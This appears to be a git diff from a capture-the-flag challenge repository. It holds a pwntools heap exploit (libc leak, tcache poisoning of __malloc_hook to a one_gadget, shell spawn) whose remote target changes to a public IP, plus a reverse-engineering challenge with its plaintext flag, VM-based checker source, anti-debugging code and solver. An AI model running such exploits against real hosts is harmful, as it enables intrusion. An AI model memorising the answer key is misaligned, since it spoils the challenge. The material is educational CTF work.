diff --git a/Binary Exploitation/BeeChat/src/solve.py b/Binary Exploitation/BeeChat/src/solve.py
index 1d2c6b1..2a12659 100755
--- a/Binary Exploitation/BeeChat/src/solve.py	
+++ b/Binary Exploitation/BeeChat/src/solve.py	
@@ -1,116 +1,116 @@
-#!/usr/bin/env python3
-
-from pwn import *
-
-elf = ELF("./chall")
-libc = ELF("./libc.so.6")
-ld = ELF("./ld-linux-x86-64.so.2")
-
-context.binary = elf
-context.log_level = "info"
-context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
-
-# --- Exploit Configuration ---
-LEAK_CHUNK_SIZE = 0x90
-POISON_CHUNK_SIZE = 0x18
-
-# --- GDB Script ---
-gdb_script = """
-    b *main
-    continue
-    """.format(**locals())
-
-# --- Process/Remote Connection ---
-def start(argv=[], *a, **kw):
-    if args.GDB:
-        return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw)
-    elif args.REMOTE:
-        return remote("localhost", 31346)
-    else:
-        return process([ld.path, elf.path] + argv, *a, **kw)
-
-# --- Helper Functions for New Menu ---
-def send_choice(choice):
-    r.sendlineafter(b"> ", str(choice).encode())
-
-def create_user(name):
-    send_choice(1)
-    r.sendlineafter(b"Username: ", name)
-
-def switch_user(user_id):
-    send_choice(2)
-    r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode())
-
-def send_message(to_id, size, content):
-    send_choice(3)
-    r.sendlineafter(b"Send to user ID: ", str(to_id).encode())
-    r.sendlineafter(b"Size of message: ", str(size).encode())
-    r.sendafter(b"Content: ", content.ljust(size, b'\0'))
-
-def edit_message(msg_id, new_content):
-    send_choice(4)
-    r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode())
-    r.sendafter(b"New content: ", new_content)
-
-def broadcast_message(msg_id):
-    send_choice(5)
-    r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode())
-
-def edit_broadcast_message(bcast_idx, new_content):
-    send_choice(6)
-    r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode())
-    r.sendafter(b"New content for broadcast message: ", new_content)
-
-def view_broadcasts():
-    send_choice(7)
-
-def view_conversation(partner_id):
-    send_choice(8)
-    r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode())
-
-
-def main():
-    global r
-    r = start()
-
-    create_user(b"UserA")
-    create_user(b"UserB")
-
-    # LEAK LIBC ADDR
-    switch_user(0)
-    for i in range(8):
-        send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode())
-
-    broadcast_message(7)
-
-    for i in range(8):
-        edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10))
-
-    view_broadcasts()
-    r.recvuntil(b"Original Msg ID: 7")
-    r.recvuntil(b"Content: ")
-    leak_addr = u64(r.recvline().strip().ljust(8, b'\x00'))
-    libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
-
-    log.success(f"LIBC : {hex(libc.address)}")
-
-    # EXPLOIT : TCACHE POISONING
-    one_gadget = libc.address + 0x4f302
-    send_message(1, POISON_CHUNK_SIZE, b"poison_A")
-    send_message(1, POISON_CHUNK_SIZE, b"poison_B")
-
-    broadcast_message(9)
-    edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10))
-
-    edit_broadcast_message(1, p64(libc.sym['__malloc_hook']))
-
-    send_message(1, POISON_CHUNK_SIZE, b"wasted")
-    send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) 
-
-    r.sendlineafter(b"> ", b"1")
-    r.sendline(b"cat flag.txt")
-
-    r.interactive()
-
-if __name__ == "__main__":
-    main()
+#!/usr/bin/env python3
+
+from pwn import *
+
+elf = ELF("./chall")
+libc = ELF("./libc.so.6")
+ld = ELF("./ld-linux-x86-64.so.2")
+
+context.binary = elf
+context.log_level = "info"
+context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
+
+# --- Exploit Configuration ---
+LEAK_CHUNK_SIZE = 0x90
+POISON_CHUNK_SIZE = 0x18
+
+# --- GDB Script ---
+gdb_script = """
+    b *main
+    continue
+    """.format(**locals())
+
+# --- Process/Remote Connection ---
+def start(argv=[], *a, **kw):
+    if args.GDB:
+        return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw)
+    elif args.REMOTE:
+        return remote("31.97.187.222", 31346)
+    else:
+        return process([ld.path, elf.path] + argv, *a, **kw)
+
+# --- Helper Functions for New Menu ---
+def send_choice(choice):
+    r.sendlineafter(b"> ", str(choice).encode())
+
+def create_user(name):
+    send_choice(1)
+    r.sendlineafter(b"Username: ", name)
+
+def switch_user(user_id):
+    send_choice(2)
+    r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode())
+
+def send_message(to_id, size, content):
+    send_choice(3)
+    r.sendlineafter(b"Send to user ID: ", str(to_id).encode())
+    r.sendlineafter(b"Size of message: ", str(size).encode())
+    r.sendafter(b"Content: ", content.ljust(size, b'\0'))
+
+def edit_message(msg_id, new_content):
+    send_choice(4)
+    r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode())
+    r.sendafter(b"New content: ", new_content)
+
+def broadcast_message(msg_id):
+    send_choice(5)
+    r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode())
+
+def edit_broadcast_message(bcast_idx, new_content):
+    send_choice(6)
+    r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode())
+    r.sendafter(b"New content for broadcast message: ", new_content)
+
+def view_broadcasts():
+    send_choice(7)
+
+def view_conversation(partner_id):
+    send_choice(8)
+    r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode())
+
+
+def main():
+    global r
+    r = start()
+
+    create_user(b"UserA")
+    create_user(b"UserB")
+
+    # LEAK LIBC ADDR
+    switch_user(0)
+    for i in range(8):
+        send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode())
+
+    broadcast_message(7)
+
+    for i in range(8):
+        edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10))
+
+    view_broadcasts()
+    r.recvuntil(b"Original Msg ID: 7")
+    r.recvuntil(b"Content: ")
+    leak_addr = u64(r.recvline().strip().ljust(8, b'\x00'))
+    libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
+
+    log.success(f"LIBC : {hex(libc.address)}")
+
+    # EXPLOIT : TCACHE POISONING
+    one_gadget = libc.address + 0x4f302
+    send_message(1, POISON_CHUNK_SIZE, b"poison_A")
+    send_message(1, POISON_CHUNK_SIZE, b"poison_B")
+
+    broadcast_message(9)
+    edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10))
+
+    edit_broadcast_message(1, p64(libc.sym['__malloc_hook']))
+
+    send_message(1, POISON_CHUNK_SIZE, b"wasted")
+    send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) 
+
+    r.sendlineafter(b"> ", b"1")
+    r.sendline(b"cat flag.txt")
+
+    r.interactive()
+
+if __name__ == "__main__":
+    main()
diff --git a/Reverse Engineering/flact-check/challenge.yml b/Reverse Engineering/flact-check/challenge.yml
new file mode 100644
index 0000000..9b595a1
--- /dev/null
+++ b/Reverse Engineering/flact-check/challenge.yml	
@@ -0,0 +1,29 @@
+name: "Flact Check"
+category: Reverse Engineering
+description: |-
+  Yep this is a simple flag checker, no doubt
+
+  Author: Lyo
+
+##### DON'T CHANGE
+value: 500
+type: dynamic
+extra:
+    initial: 500
+    decay: 30
+    minimum: 100
+##### DON'T CHANGE
+
+flags:
+  - BEECTF{vM_0p5_kEEp_enc0d3d_byt35_f10w1ng_un71l_V1r7u4l_cmp_un10ck5_h1dd3n_5ignal_gu4rd14n5_57andby4}
+
+tags:
+  - hard
+
+files:
+  - dist/flact-check
+  - dist/dependencies.txt
+
+state: hidden
+
+version: "0.1"
diff --git a/Reverse Engineering/flact-check/dist/dependencies.txt b/Reverse Engineering/flact-check/dist/dependencies.txt
new file mode 100644
index 0000000..414386d
--- /dev/null
+++ b/Reverse Engineering/flact-check/dist/dependencies.txt	
@@ -0,0 +1,15 @@
+Flact-Check Challenge Dependencies
+=================================
+
+Runtime libraries (shared):
+  - FLTK 1.3 stack: libfltk, libfltk_forms, libfltk_images, libfltk_gl
+  - X11 stack: libX11, libXext, libXt, libxcb (plus common X extensions)
+  - Fonts: libfontconfig, libfreetype, libexpat
+  - Image/Compression: libpng, libjpeg, libz
+  - Runtime: libstdc++, libgcc_s
+
+Tested on:
+  - Ubuntu 22.04 (x86_64) with default desktop packages
+
+Notes:
+  - Requires an X11-capable environment (desktop session or X server)
diff --git a/Reverse Engineering/flact-check/dist/flact-check b/Reverse Engineering/flact-check/dist/flact-check
new file mode 100755
index 0000000..41e980b
Binary files /dev/null and b/Reverse Engineering/flact-check/dist/flact-check differ
diff --git a/Reverse Engineering/flact-check/src/CMakeLists.txt b/Reverse Engineering/flact-check/src/CMakeLists.txt
new file mode 100644
index 0000000..6680be8
--- /dev/null
+++ b/Reverse Engineering/flact-check/src/CMakeLists.txt	
@@ -0,0 +1,13 @@
+cmake_minimum_required(VERSION 3.16)
+
+project(FlactCheck LANGUAGES CXX)
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED ON)
+set(CMAKE_CXX_EXTENSIONS OFF)
+
+find_package(FLTK REQUIRED)
+include_directories(${FLTK_INCLUDE_DIR})
+
+add_executable(flact-check src/main.cpp)
+target_link_libraries(flact-check PRIVATE ${FLTK_LIBRARIES})
diff --git a/Reverse Engineering/flact-check/src/build/flact-check b/Reverse Engineering/flact-check/src/build/flact-check
new file mode 100755
index 0000000..41e980b
Binary files /dev/null and b/Reverse Engineering/flact-check/src/build/flact-check differ
diff --git a/Reverse Engineering/flact-check/src/solve.py b/Reverse Engineering/flact-check/src/solve.py
new file mode 100755
index 0000000..3775623
--- /dev/null
+++ b/Reverse Engineering/flact-check/src/solve.py	
@@ -0,0 +1,56 @@
+#!/usr/bin/env python3
+
+import re
+from pathlib import Path
+
+
+def load_program():
+    source = Path(__file__).resolve().parent / "src" / "main.cpp"
+    text = source.read_text()
+    match = re.search(r"kProgram\s*=\s*\{([^}]*)\};", text, re.S)
+    if not match:
+        raise RuntimeError("Unable to locate VM program in main.cpp")
+    hex_bytes = re.findall(r"0x[0-9a-fA-F]+", match.group(1))
+    return [int(value, 16) for value in hex_bytes]
+
+
+def decode(program):
+    flag_bytes = []
+    idx = 0
+    length = len(program)
+    while idx < length:
+        seg_len = program[idx]
+        idx += 1
+        acc = 0
+        end = idx + seg_len
+        while idx < end:
+            opcode = program[idx]
+            idx += 1
+            if opcode == 0x10:  # MOV immediate
+                acc = program[idx]
+                idx += 1
+            elif opcode == 0x11:  # ADD immediate
+                acc = (acc + program[idx]) & 0xFF
+                idx += 1
+            elif opcode == 0x12:  # SUB immediate
+                acc = (acc - program[idx]) & 0xFF
+                idx += 1
+            elif opcode == 0x13:  # XOR immediate
+                acc ^= program[idx]
+                idx += 1
+            elif opcode == 0x20:  # CMP input (no operand)
+                continue
+            else:
+                raise ValueError(f"Unknown opcode {opcode:#x}")
+        flag_bytes.append(acc)
+    return bytes(flag_bytes)
+
+
+def main():
+    program = load_program()
+    flag = decode(program).decode()
+    print(flag)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/Reverse Engineering/flact-check/src/src/main.cpp b/Reverse Engineering/flact-check/src/src/main.cpp
new file mode 100644
index 0000000..14a5a78
--- /dev/null
+++ b/Reverse Engineering/flact-check/src/src/main.cpp	
@@ -0,0 +1,343 @@
+#include <FL/Fl.H>
+#include <FL/Fl_Box.H>
+#include <FL/Fl_Button.H>
+#include <FL/Fl_Group.H>
+#include <FL/Fl_Input.H>
+#include <FL/Fl_Window.H>
+#include <FL/fl_draw.H>
+
+#include <array>
+#include <cerrno>
+#include <cstdint>
+#include <cstdio>
+#include <string>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+namespace {
+
+enum : unsigned char {
+  OP_MOV_IMM = 0x10,
+  OP_ADD_IMM = 0x11,
+  OP_SUB_IMM = 0x12,
+  OP_XOR_IMM = 0x13,
+  OP_CMP_INPUT = 0x20,
+};
+
+class FlagVm {
+ public:
+  static constexpr std::size_t kFlagLength = 100;
+
+  FlagVm() { Reset(); }
+
+  void Reset() {
+    pc_offset_ = 0;
+    progress_ = 0;
+  }
+
+  std::size_t progress() const { return progress_; }
+
+  bool Execute(char input) {
+    if (progress_ >= kFlagLength) {
+      return false;
+    }
+
+    if (pc_offset_ >= kProgram.size()) {
+      return false;
+    }
+
+    const std::size_t segment_start = pc_offset_;
+    const unsigned char segment_len = kProgram[pc_offset_++];
+    if (segment_len == 0 ||
+        pc_offset_ + segment_len > kProgram.size()) {
+      return false;
+    }
+
+    std::size_t cursor = pc_offset_;
+    const std::size_t segment_end = pc_offset_ + segment_len;
+    unsigned char acc = 0;
+    bool cmp_result = false;
+
+    while (cursor < segment_end) {
+      const unsigned char opcode = kProgram[cursor++];
+      switch (opcode) {
+        case OP_MOV_IMM:
+          if (cursor >= segment_end) return false;
+          acc = kProgram[cursor++];
+          break;
+        case OP_ADD_IMM:
+          if (cursor >= segment_end) return false;
+          acc = static_cast<unsigned char>(
+              (acc + kProgram[cursor++]) & 0xFFu);
+          break;
+        case OP_SUB_IMM:
+          if (cursor >= segment_end) return false;
+          acc = static_cast<unsigned char>(
+              (acc - kProgram[cursor++]) & 0xFFu);
+          break;
+        case OP_XOR_IMM:
+          if (cursor >= segment_end) return false;
+          acc = static_cast<unsigned char>(
+              acc ^ kProgram[cursor++]);
+          break;
+        case OP_CMP_INPUT:
+          cmp_result = (acc == static_cast<unsigned char>(input));
+          break;
+        default:
+          return false;
+      }
+    }
+
+    if (cmp_result) {
+      pc_offset_ = segment_end;
+      ++progress_;
+      return true;
+    }
+    pc_offset_ = segment_start;
+    return false;
+  }
+
+  static constexpr std::array<unsigned char, 800> kProgram = {
+      0x07, 0x10, 0x3f, 0x12, 0x8f, 0x13, 0xf2, 0x20, 0x07, 0x10, 0xac, 0x11, 0xbd, 0x13, 0x2c, 0x20,
+      0x07, 0x10, 0xd8, 0x12, 0x44, 0x13, 0xd1, 0x20, 0x07, 0x10, 0x00, 0x12, 0xc8, 0x13, 0x7b, 0x20,
+      0x07, 0x10, 0x97, 0x12, 0x6e, 0x13, 0x7d, 0x20, 0x07, 0x10, 0xc5, 0x12, 0x44, 0x13, 0xc7, 0x20,
+      0x07, 0x10, 0x83, 0x11, 0x7e, 0x13, 0x7a, 0x20, 0x07, 0x10, 0x29, 0x12, 0xfa, 0x13, 0x59, 0x20,
+      0x07, 0x10, 0x34, 0x12, 0xd1, 0x13, 0x2e, 0x20, 0x07, 0x10, 0xc9, 0x12, 0xcf, 0x13, 0xa5, 0x20,
+      0x07, 0x10, 0x58, 0x12, 0x3a, 0x13, 0x2e, 0x20, 0x07, 0x10, 0xfc, 0x12, 0x30, 0x13, 0xbc, 0x20,
+      0x07, 0x10, 0x6f, 0x12, 0x6f, 0x13, 0x35, 0x20, 0x07, 0x10, 0x75, 0x11, 0xe6, 0x13, 0x04, 0x20,
+      0x07, 0x10, 0x52, 0x12, 0x4a, 0x13, 0x63, 0x20, 0x07, 0x10, 0x0b, 0x12, 0x89, 0x13, 0xc7, 0x20,
+      0x07, 0x10, 0x21, 0x11, 0x65, 0x13, 0xc3, 0x20, 0x07, 0x10, 0x33, 0x12, 0x92, 0x13, 0xd1, 0x20,
+      0x07, 0x10, 0x0f, 0x12, 0x65, 0x13, 0xf5, 0x20, 0x07, 0x10, 0x10, 0x12, 0x1d, 0x13, 0x96, 0x20,
+      0x07, 0x10, 0xe3, 0x12, 0x71, 0x13, 0x1c, 0x20, 0x07, 0x10, 0xe5, 0x12, 0xc3, 0x13, 0x41, 0x20,
+      0x07, 0x10, 0x03, 0x12, 0x37, 0x13, 0xfc, 0x20, 0x07, 0x10, 0x3f, 0x11, 0x87, 0x13, 0xa2, 0x20,
+      0x07, 0x10, 0x38, 0x11, 0xa5, 0x13, 0xee, 0x20, 0x07, 0x10, 0xb0, 0x12, 0xa3, 0x13, 0x69, 0x20,
+      0x07, 0x10, 0x4c, 0x11, 0xf2, 0x13, 0x61, 0x20, 0x07, 0x10, 0x5b, 0x12, 0xa6, 0x13, 0xd7, 0x20,
+      0x07, 0x10, 0x28, 0x11, 0x6d, 0x13, 0xec, 0x20, 0x07, 0x10, 0x83, 0x11, 0xf9, 0x13, 0x08, 0x20,
+      0x07, 0x10, 0xdc, 0x11, 0xf9, 0x13, 0xe6, 0x20, 0x07, 0x10, 0x1f, 0x11, 0x5d, 0x13, 0x49, 0x20,
+      0x07, 0x10, 0xd4, 0x11, 0xe3, 0x13, 0xe8, 0x20, 0x07, 0x10, 0xff, 0x11, 0xf8, 0x13, 0x91, 0x20,
+      0x07, 0x10, 0x82, 0x11, 0x5c, 0x13, 0xef, 0x20, 0x07, 0x10, 0x29, 0x11, 0x38, 0x13, 0x51, 0x20,
+      0x07, 0x10, 0x52, 0x11, 0x32, 0x13, 0xf3, 0x20, 0x07, 0x10, 0x98, 0x11, 0xc9, 0x13, 0x50, 0x20,
+      0x07, 0x10, 0xb2, 0x11, 0x4a, 0x13, 0x92, 0x20, 0x07, 0x10, 0xe3, 0x11, 0xf1, 0x13, 0xb3, 0x20,
+      0x07, 0x10, 0xa3, 0x12, 0x0b, 0x13, 0xc7, 0x20, 0x07, 0x10, 0x67, 0x12, 0x86, 0x13, 0x94, 0x20,
+      0x07, 0x10, 0x3f, 0x11, 0xcf, 0x13, 0x60, 0x20, 0x07, 0x10, 0x86, 0x11, 0xe7, 0x13, 0x5a, 0x20,
+      0x07, 0x10, 0x98, 0x11, 0x2c, 0x13, 0xf5, 0x20, 0x07, 0x10, 0xe0, 0x11, 0x66, 0x13, 0x2a, 0x20,
+      0x07, 0x10, 0xa5, 0x12, 0xe4, 0x13, 0x9e, 0x20, 0x07, 0x10, 0xce, 0x12, 0xbd, 0x13, 0x47, 0x20,
+      0x07, 0x10, 0x54, 0x11, 0x53, 0x13, 0x96, 0x20, 0x07, 0x10, 0x26, 0x11, 0x45, 0x13, 0x19, 0x20,
+      0x07, 0x10, 0x4d, 0x12, 0xf4, 0x13, 0x6e, 0x20, 0x07, 0x10, 0x6a, 0x12, 0x9f, 0x13, 0xbe, 0x20,
+      0x07, 0x10, 0xc5, 0x12, 0x5c, 0x13, 0x5d, 0x20, 0x07, 0x10, 0x6e, 0x12, 0x8a, 0x13, 0x88, 0x20,
+      0x07, 0x10, 0x83, 0x11, 0x7c, 0x13, 0xa0, 0x20, 0x07, 0x10, 0xfc, 0x11, 0xe3, 0x13, 0xbc, 0x20,
+      0x07, 0x10, 0x98, 0x12, 0x5c, 0x13, 0x51, 0x20, 0x07, 0x10, 0x04, 0x11, 0x3f, 0x13, 0x33, 0x20,
+      0x07, 0x10, 0x8c, 0x11, 0xec, 0x13, 0x27, 0x20, 0x07, 0x10, 0xf5, 0x12, 0x02, 0x13, 0x86, 0x20,
+      0x07, 0x10, 0xee, 0x11, 0x8c, 0x13, 0x14, 0x20, 0x07, 0x10, 0xcb, 0x11, 0x21, 0x13, 0xdd, 0x20,
+      0x07, 0x10, 0x72, 0x11, 0x74, 0x13, 0xd6, 0x20, 0x07, 0x10, 0x3e, 0x11, 0x12, 0x13, 0x33, 0x20,
+      0x07, 0x10, 0x6f, 0x12, 0xce, 0x13, 0xca, 0x20, 0x07, 0x10, 0xee, 0x12, 0x61, 0x13, 0xb8, 0x20,
+      0x07, 0x10, 0x70, 0x11, 0xb0, 0x13, 0x7f, 0x20, 0x07, 0x10, 0x17, 0x12, 0x95, 0x13, 0xea, 0x20,
+      0x07, 0x10, 0x4c, 0x11, 0xc8, 0x13, 0x25, 0x20, 0x07, 0x10, 0x5e, 0x12, 0x10, 0x13, 0x2a, 0x20,
+      0x07, 0x10, 0xd0, 0x12, 0x4d, 0x13, 0xe7, 0x20, 0x07, 0x10, 0x42, 0x11, 0x6f, 0x13, 0x82, 0x20,
+      0x07, 0x10, 0x27, 0x11, 0x77, 0x13, 0xf0, 0x20, 0x07, 0x10, 0x84, 0x11, 0xcb, 0x13, 0x10, 0x20,
+      0x07, 0x10, 0xb4, 0x11, 0xa9, 0x13, 0x68, 0x20, 0x07, 0x10, 0x9f, 0x11, 0x0c, 0x13, 0xc2, 0x20,
+      0x07, 0x10, 0xa3, 0x12, 0x74, 0x13, 0x48, 0x20, 0x07, 0x10, 0x40, 0x12, 0x61, 0x13, 0xb1, 0x20,
+      0x07, 0x10, 0x34, 0x11, 0xff, 0x13, 0x52, 0x20, 0x07, 0x10, 0xff, 0x11, 0x08, 0x13, 0x6b, 0x20,
+      0x07, 0x10, 0x68, 0x11, 0x4d, 0x13, 0xea, 0x20, 0x07, 0x10, 0xa9, 0x11, 0xa6, 0x13, 0x28, 0x20,
+      0x07, 0x10, 0x14, 0x11, 0xd3, 0x13, 0x92, 0x20, 0x07, 0x10, 0x7e, 0x12, 0x1a, 0x13, 0x50, 0x20,
+      0x07, 0x10, 0x1e, 0x11, 0x18, 0x13, 0x44, 0x20, 0x07, 0x10, 0xa9, 0x11, 0x81, 0x13, 0x4e, 0x20,
+      0x07, 0x10, 0x9a, 0x12, 0xc2, 0x13, 0xe9, 0x20, 0x07, 0x10, 0xaf, 0x12, 0xed, 0x13, 0xf6, 0x20,
+      0x07, 0x10, 0xe1, 0x11, 0x0a, 0x13, 0x85, 0x20, 0x07, 0x10, 0x84, 0x11, 0x81, 0x13, 0x30, 0x20,
+      0x07, 0x10, 0x65, 0x12, 0xd1, 0x13, 0xcb, 0x20, 0x07, 0x10, 0x70, 0x11, 0x8f, 0x13, 0xca, 0x20,
+      0x07, 0x10, 0x8b, 0x11, 0x0b, 0x13, 0xa1, 0x20, 0x07, 0x10, 0xa5, 0x11, 0x79, 0x13, 0x7f, 0x20,
+      0x07, 0x10, 0x39, 0x12, 0xe0, 0x13, 0x37, 0x20, 0x07, 0x10, 0x8f, 0x11, 0x46, 0x13, 0xb1, 0x20,
+      0x07, 0x10, 0xbc, 0x11, 0x17, 0x13, 0xb1, 0x20, 0x07, 0x10, 0xd2, 0x11, 0x3b, 0x13, 0x74, 0x20,
+      0x07, 0x10, 0x66, 0x12, 0x74, 0x13, 0xc6, 0x20, 0x07, 0x10, 0xd6, 0x11, 0xb6, 0x13, 0xf1, 0x20,
+  };
+
+  std::size_t pc_offset_ = 0;
+  std::size_t progress_ = 0;
+};
+
+bool DebuggerDetected() {
+  const pid_t target = getpid();
+  const pid_t child = fork();
+  if (child == -1) {
+    return false;
+  }
+
+  if (child == 0) {
+    if (ptrace(PTRACE_ATTACH, target, nullptr, nullptr) == 0) {
+      int wait_status = 0;
+      waitpid(target, &wait_status, 0);
+      ptrace(PTRACE_DETACH, target, nullptr, nullptr);
+      _exit(0);
+    }
+    if (errno == EPERM) {
+      _exit(0);
+    }
+    _exit(1);
+  }
+
+  int status = 0;
+  waitpid(child, &status, 0);
+  return WIFEXITED(status) && WEXITSTATUS(status) == 1;
+}
+
+class Indicator : public Fl_Widget {
+ public:
+  Indicator(int X, int Y, int W, int H)
+      : Fl_Widget(X, Y, W, H), color_(fl_rgb_color(90, 93, 102)) {}
+
+  void SetColor(Fl_Color c) {
+    if (color_ != c) {
+      color_ = c;
+      redraw();
+    }
+  }
+
+  void Reset() {
+    SetColor(fl_rgb_color(90, 93, 102));
+  }
+
+ protected:
+  void draw() override {
+    fl_push_clip(x(), y(), w(), h());
+    fl_color(fl_rgb_color(30, 31, 33));
+    fl_rectf(x(), y(), w(), h());
+
+    fl_color(color_);
+    fl_draw_box(FL_ROUNDED_BOX, x() + 6, y() + 6, w() - 12, h() - 12, color_);
+
+    fl_pop_clip();
+  }
+
+ private:
+  Fl_Color color_;
+};
+
+class FlactWindow : public Fl_Window {
+ public:
+  FlactWindow(int W, int H, const char* title)
+      : Fl_Window(W, H, title),
+        indicator_(new Indicator(40, 70, 120, 120)),
+        input_field_(new Fl_Input(200, 90, 120, 40)),
+        check_button_(new Fl_Button(200, 140, 120, 40, "Check")),
+        status_box_(new Fl_Box(200, 200, 210, 24)) {
+    color(fl_rgb_color(24, 25, 28));
+    Fl::background(24, 25, 28);
+    Fl::background2(24, 25, 28);
+    Fl::foreground(236, 237, 239);
+
+    auto* banner =
+        new Fl_Box(20, 20, W - 40, 32, "flact-check monitor");
+    banner->labelfont(FL_HELVETICA_BOLD);
+    banner->labelsize(18);
+    banner->labelcolor(fl_rgb_color(236, 237, 239));
+    banner->align(FL_ALIGN_LEFT | FL_ALIGN_INSIDE);
+    banner->box(FL_NO_BOX);
+
+    indicator_->box(FL_NO_BOX);
+
+    input_field_->box(FL_ROUNDED_BOX);
+    input_field_->color(fl_rgb_color(53, 55, 60));
+    input_field_->textsize(20);
+    input_field_->textcolor(fl_rgb_color(236, 237, 239));
+    input_field_->selection_color(fl_rgb_color(97, 218, 251));
+    input_field_->align(FL_ALIGN_INSIDE | FL_ALIGN_CENTER);
+    input_field_->when(FL_WHEN_ENTER_KEY_ALWAYS);
+    input_field_->callback(InputCallback, this);
+
+    check_button_->box(FL_ROUNDED_BOX);
+    check_button_->color(fl_rgb_color(88, 101, 242));
+    check_button_->labelfont(FL_HELVETICA_BOLD);
+    check_button_->labelcolor(fl_rgb_color(246, 248, 250));
+    check_button_->callback(ButtonCallback, this);
+
+    status_box_->box(FL_NO_BOX);
+    status_box_->labelsize(14);
+    status_box_->labelcolor(fl_rgb_color(200, 201, 204));
+    status_box_->align(FL_ALIGN_INSIDE | FL_ALIGN_LEFT);
+    status_box_->label("");
+
+    end();
+
+    resizable(this);
+    size_range(420, 260);
+
+    // Leave status empty until the first interaction.
+  }
+
+ private:
+  static void InputCallback(Fl_Widget* widget, void* data) {
+    auto* self = static_cast<FlactWindow*>(data);
+    self->HandleCheck();
+  }
+
+  static void ButtonCallback(Fl_Widget* widget, void* data) {
+    auto* self = static_cast<FlactWindow*>(data);
+    self->HandleCheck();
+  }
+
+  void HandleCheck() {
+    std::string input_text = input_field_->value();
+    if (input_text.empty()) {
+      return;
+    }
+
+    input_field_->value("");
+
+    if (input_text.size() != 1) {
+      indicator_->SetColor(fl_rgb_color(219, 58, 81));
+      vm_.Reset();
+      UpdateStatus();
+      return;
+    }
+
+    const char provided = input_text[0];
+    if (vm_.Execute(provided)) {
+      indicator_->SetColor(fl_rgb_color(67, 181, 129));
+      UpdateStatus();
+
+      if (vm_.progress() == FlagVm::kFlagLength) {
+        vm_.Reset();
+        indicator_->Reset();
+        status_box_->label("");
+        status_box_->redraw();
+      }
+    } else {
+      indicator_->SetColor(fl_rgb_color(219, 58, 81));
+      vm_.Reset();
+      UpdateStatus();
+    }
+  }
+
+  void UpdateStatus() {
+    if (vm_.progress() == 0) {
+      status_box_->label("");
+      status_box_->redraw();
+      return;
+    }
+
+    char buffer[64];
+    std::snprintf(buffer, sizeof(buffer), "Progress: %zu / %zu",
+                  vm_.progress(), FlagVm::kFlagLength);
+    status_box_->label(buffer);
+    status_box_->redraw();
+  }
+  FlagVm vm_;
+  Indicator* indicator_;
+  Fl_Input* input_field_;
+  Fl_Button* check_button_;
+  Fl_Box* status_box_;
+};
+
+}  // namespace
+
+int main(int argc, char** argv) {
+  if (DebuggerDetected()) {
+    std::fprintf(stderr, "Debugger presence detected. Terminating.\n");
+    return 1;
+  }
+
+  FlactWindow window(460, 320, "Flact-Check");
+  window.show(argc, argv);
+  return Fl::run();
+}